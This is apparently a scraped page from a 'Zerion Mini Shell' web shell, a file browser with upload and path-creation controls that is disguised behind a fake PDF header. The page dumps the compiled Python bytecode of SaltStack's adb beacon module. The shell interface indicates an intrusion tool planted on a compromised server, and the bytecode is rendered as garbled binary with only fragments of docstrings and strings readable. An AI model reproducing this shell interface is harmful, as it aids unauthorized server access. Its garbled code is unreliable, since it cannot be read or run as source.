%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/beacons/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/beacons/adb.pyo

�
���^c@@s�dZddlmZmZddlZddlZddlmZej	e
�ZdZiZ
ied6ed6Zd�Zd	�Zd
�ZdS(uY
Beacon to emit adb device state changes for Android devices

.. versionadded:: 2016.3.0
i(tabsolute_importtunicode_literalsN(tmapuadbuvalueu
no_devicescC@s-tjjjd�}|dkr%tStSdS(Nuadb(tsalttutilstpathtwhichtNonetFalset__virtualname__(twhich_result((s4/usr/lib/python2.7/site-packages/salt/beacons/adb.pyt__virtual__sc
@st|t�s&tjd�tdfSi}tt|j|��d|kretjd�tdfSt|dt�s�tjd�tdfSdddddd	d
ddd
g
�t�fd�|dD��rtjddj���tdj	dj���fSt
dfS(u+
    Validate the beacon configuration
    u,Configuration for adb beacon must be a list.ustatesu9Configuration for adb beacon must include a states array.uofflineu
bootloaderudeviceuhosturecoveryuno permissionsusideloaduunauthorizeduunknownumissingc3@s|]}|�kVqdS(N((t.0ts(tstates(s4/usr/lib/python2.7/site-packages/salt/beacons/adb.pys	<genexpr>7su*Need a one of the following adb states: %su, u+Need a one of the following adb states: {0}uValid beacon configuration(t
isinstancetlisttlogtinfoRRtupdatetanytjointformattTrue(tconfigt_config((Rs4/usr/lib/python2.7/site-packages/salt/beacons/adb.pytvalidate s(





 		cC@sHtjd�g}i}tt|j|��tddd|jdd��}|jd�d}tt	j
��}g}x|D]�}y�|jd�\}}	|j|�||ks�d	t	|kr't	|d	|	kr'|	|d
kr'|ji|d6|	d	6|	d6�i|	d	6t	|<q'nd
|krct	j|i�}
dj|�}td|d|jdd��jd�}x�|D]�}
t
|
�}d|ko�dknr�d|
ks�||
dkr(d|
ks�|
d|d
kr(||d
kr(|ji|d6|d6d
d6�q(n|t	krAit	|<nt	|ji|d6�q�q�WnWq�tk
rzq�q�Xq�WxY|D]Q}||kr�d|d
kr�|ji|d6dd	6dd6�nt	|=q�q�Wd|kr.|dtkr.t|�dkr.tdr.|jidd6�q.nt|�dktd<|S(u�
    Emit the status of all devices returned by adb

    Specify the device states that should emit an event,
    there will be an event for each device with the
    event type and device specified.

    .. code-block:: yaml

        beacons:
          adb:
            - states:
                - offline
                - unauthorized
                - missing
            - no_devices_event: True
            - battery_low: 25

    uadb beacon startingucmd.runuadb devicestrunasuuseru
iu	ustateustatesudeviceutagubattery_lowu7adb -s {0} shell cat /sys/class/power_supply/*/capacityiidubatteryu
battery_levelumissinguno_devices_eventu
no_devicesN(RttraceRRRt__salt__tgetRtsplitt
last_statetkeystappendRtintt
ValueErrorRtlentlast_state_extra(RtretRtouttlinestlast_state_devicest
found_devicestlinetdevicetstatetvaltcmdtbattery_levelstlt
battery_level((s4/usr/lib/python2.7/site-packages/salt/beacons/adb.pytbeacon?sV
"

$"+
 (
&

%(t__doc__t
__future__RRtloggingtsalt.utils.pathRtsalt.ext.six.movesRt	getLoggert__name__RR	R RR&RRR4(((s4/usr/lib/python2.7/site-packages/salt/beacons/adb.pyt<module>s		

Zerion Mini Shell 1.0